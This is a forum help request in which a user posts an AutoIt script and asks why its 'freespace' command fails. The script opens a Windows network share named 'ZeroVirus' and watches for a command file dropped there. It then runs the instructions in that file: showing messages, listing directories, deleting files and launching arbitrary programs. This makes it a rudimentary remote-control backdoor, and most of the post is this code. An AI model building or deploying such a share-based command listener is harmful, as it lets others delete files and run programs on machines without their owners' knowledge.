Jump to content
Sign in to follow this  
zeroZshadow

freespace

Recommended Posts

zeroZshadow

the stupid command won't work

#include <process.au3>
#include <file.au3>
Opt("OnExitFunc","_Exit")
Opt("TrayIconDebug",1)

dim $index
dim $files = ""

DirCreate ( @TempDir&"\Zero" )
_RunDOS("Net Share ZeroVirus="&@TempDir&'\Zero')

While 1
    if FileExists (@TempDir&"\Zero\index.txt" ) then _GOGOGO()
    sleep(100)
Wend

Func _GOGOGO()
    sleep(100)
    if _FileReadToArray( @TempDir&"\Zero\index.txt",$index) = 1 Then 
        FOR $I=1 TO $index[0]
        If StringInStr($index[$i],"message") =1 then
            $message = StringSplit($index[$i],"=")
            if $message[0] > 1 then Msgbox(0,"Message!",$message[2])
        EndIf
        if $index[$i] = "EXIT" then Exit
        If StringInStr($index[$i],"dir") =1 then ;==> DIR
            $command = StringReplace($index[$i],"="," ",1)
            _RunDOS($command&" > "& @TempDir & "\Zero\output"&$i&".txt")
        EndIf ;==> DIR
        If StringInStr($index[$i],"del") =1 then ;==> DELETE
            $command = StringReplace($index[$i],":"," ",1)
            _RunDOS("/f /q "&$command)
            FileWrite(@TempDir & "\Zero\output"&$i&".txt","File Deleted")
        EndIf ;==> DELETE
        If StringInStr($index[$i],"run") =1 then ;==> RUN
            $command = stringsplit($index[$i],"=")
            if $command[0] > 1 Then 
            Run($command[2])
            FileWrite(@TempDir & "\Zero\output"&$i&".txt","Running: "&$command[2])
            EndIf
        EndIf ;==> RUN
        If StringInStr($index[$i],"freespace") =1 then ;==> FREESPACE
            $command = stringsplit($index[$i],"=")
            if $command[0] > 1 Then 
            $space = round(DriveSpaceFree($command[2]),0)
            FileWrite(@TempDir & "\Zero\output"&$i&".txt","Space Free: "&$space&" MB")
            EndIf
        EndIf ;==> FREESPACE
        Next
        FileDelete(@TempDir&"\Zero\index.txt" )
    EndIf
EndFunc

Func _Exit()
    _RunDOS("Net Share ZeroVirus /delete")
    FileDelete(@TempDir&"\Zero\index.txt" )
EndFunc

The problem is in the FREESPACE part

i hope you like the idea and please don't go ask me about the name of the dir, i just like it.


*If u thought life couldn't get worse, u meet me *<guy> What would you give my little sister to unzip ?<friend> 10 bucks<guy> No, i mean like Winzip...

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×